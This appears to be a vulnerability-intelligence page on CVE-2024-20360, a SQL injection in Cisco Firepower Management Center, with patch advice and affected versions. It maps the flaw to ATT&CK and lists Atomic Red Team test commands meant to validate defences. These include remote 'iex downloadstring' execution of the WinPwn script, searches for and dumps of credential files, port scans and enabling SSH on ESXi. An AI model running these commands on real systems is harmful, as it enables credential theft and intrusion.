CVE-2024-20360

HIGH Pub 22/05 Upd 01/08

Overview

This vulnerability is an SQL injection flaw in the web-based management interface of Cisco Firepower Management Center (FMC) Software. The root cause is inadequate validation of user-supplied input within the interface, allowing crafted SQL queries to be injected. The affected component is the FMC's web management interface across multiple 7.0.x versions.

Vulnerability Description

A vulnerability in the web-based management interface of Cisco Firepower Management Center (FMC) Software could allow an authenticated, remote attacker to conduct SQL injection attacks on an affected system. This vulnerability exists because the web-based management interface does not adequately validate user input. An attacker could exploit this vulnerability by authenticating to the application and sending crafted SQL queries to an affected system. A successful exploit could allow the attacker to obtain any data from the database, execute arbitrary commands on the underlying operating system, and elevate privileges to root. To exploit this vulnerability, an attacker would need at least Read Only user credentials.

Impact

An attacker with Read Only credentials can exploit this vulnerability remotely to execute arbitrary SQL commands, leading to unauthorized access to sensitive database information. The attacker may also execute arbitrary commands on the underlying operating system and escalate privileges to root, resulting in full system compromise. This enables data breaches, lateral movement within the network, and potential disruption of firewall management operations. The CVSS vector indicates low attack complexity and no user interaction required, emphasizing ease of exploitation in a network environment.

Solution

Cisco recommends upgrading Cisco Firepower Management Center to versions later than 7.0.2 as detailed in their security advisory cisco-sa-fmc-sqli-WFFDnNOs. The advisory provides specific patch versions addressing this vulnerability. Administrators should apply these updates promptly to affected FMC versions 7.0.0 through 7.0.2. No alternative workarounds are specified; refer to Cisco’s official advisory for comprehensive patching instructions.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A significant vulnerability has been identified in the web-based management interface of Cisco Firepower Management Center (FMC) Software, primarily due to inadequate validation of user input. This flaw allows authenticated remote attackers to conduct SQL injection attacks. The vulnerability arises when the application fails to properly sanitize input data before processing it as part of SQL queries. Consequently, an attacker with at least Read Only user credentials can craft malicious SQL queries that, when executed, can manipulate the database in unintended ways. This could lead to unauthorized data access, command execution on the underlying operating system, and potential privilege escalation to root level.

The attack vector for this vulnerability is primarily through the web-based management interface, which is accessible to authenticated users. Once an attacker gains access with valid credentials, they can exploit the vulnerability by sending specially crafted SQL queries. This exploitation can allow the attacker to retrieve sensitive information from the database, including user credentials, configuration data, and other critical information. Furthermore, the ability to execute arbitrary commands on the operating system opens the door for further attacks, such as installing malware, creating backdoors, or exfiltrating sensitive data. The potential for privilege escalation means that an attacker could gain full control over the affected system, significantly increasing the severity of the threat.

The real-world impact of this vulnerability can be profound, particularly for organizations relying on Cisco's security solutions to protect their networks. Successful exploitation could lead to data breaches, loss of sensitive information, and disruption of services. The business risks associated with such an incident include financial losses, reputational damage, and potential legal ramifications stemming from non-compliance with data protection regulations. Organizations may face significant costs related to incident response, system recovery, and implementing additional security measures post-incident. The high CVSS score of 8.8 underscores the critical nature of this vulnerability and the urgent need for remediation.

To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including penetration testing and vulnerability scanning, can help identify potential weaknesses in the web-based management interface. Additionally, organizations should enforce strict access controls, ensuring that only authorized personnel have access to the management interface. Input validation and sanitization should be prioritized in the development lifecycle of applications, particularly those that interact with databases. Employing web application firewalls (WAFs) can also provide an additional layer of defense by filtering out malicious SQL queries before they reach the application.

In conclusion, the vulnerability in Cisco Firepower Management Center's web-based management interface poses a significant threat to organizations utilizing this software. The potential for SQL injection attacks highlights the critical importance of robust input validation and access controls. By adopting proactive detection and mitigation strategies, organizations can safeguard their systems against exploitation and minimize the associated risks. As cyber threats continue to evolve, maintaining a strong security posture is essential for protecting sensitive data and ensuring business continuity.

Affected Products (27)

Vendor Product Version CPE
cisco Cisco Secure Firewall Management Center 7.0.0 cpe:2.3:a:cisco:secure_firewall_management_center:7.0.0:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.0.0.1 cpe:2.3:a:cisco:secure_firewall_management_center:7.0.0.1:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.0.1 cpe:2.3:a:cisco:secure_firewall_management_center:7.0.1:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.0.1.1 cpe:2.3:a:cisco:secure_firewall_management_center:7.0.1.1:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.0.2 cpe:2.3:a:cisco:secure_firewall_management_center:7.0.2:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.0.2.1 cpe:2.3:a:cisco:secure_firewall_management_center:7.0.2.1:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.0.3 cpe:2.3:a:cisco:secure_firewall_management_center:7.0.3:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.0.4 cpe:2.3:a:cisco:secure_firewall_management_center:7.0.4:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.0.5 cpe:2.3:a:cisco:secure_firewall_management_center:7.0.5:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.0.6 cpe:2.3:a:cisco:secure_firewall_management_center:7.0.6:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.1.0 cpe:2.3:a:cisco:secure_firewall_management_center:7.1.0:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.1.0.1 cpe:2.3:a:cisco:secure_firewall_management_center:7.1.0.1:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.1.0.2 cpe:2.3:a:cisco:secure_firewall_management_center:7.1.0.2:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.1.0.3 cpe:2.3:a:cisco:secure_firewall_management_center:7.1.0.3:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.2.0 cpe:2.3:a:cisco:secure_firewall_management_center:7.2.0:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.2.0.1 cpe:2.3:a:cisco:secure_firewall_management_center:7.2.0.1:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.2.1 cpe:2.3:a:cisco:secure_firewall_management_center:7.2.1:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.2.2 cpe:2.3:a:cisco:secure_firewall_management_center:7.2.2:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.2.3 cpe:2.3:a:cisco:secure_firewall_management_center:7.2.3:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.2.3.1 cpe:2.3:a:cisco:secure_firewall_management_center:7.2.3.1:*:*:*:*:*:*:*
+7 additional CPEs

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

0 events

No threat activity recorded for this CVE.

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

SQL Injection
100% sql_injection
Remote Code Execution
50% rce
Privilege Escalation
46% privilege_escalation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-108 Command Line Execution through SQL Injection
57%
Low Very High
CAPEC-109 Object Relational Mapping Injection
57%
Low High
CAPEC-7 Blind SQL Injection
56%
High High
CAPEC-110 SQL Injection through SOAP Parameter Tampering
54%
High Very High
CAPEC-66 SQL Injection
54%
High High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (2)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-20360
sec.cloudapps.cisco.com
GitHub CVE
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fmc-sqli-WFFDnNOs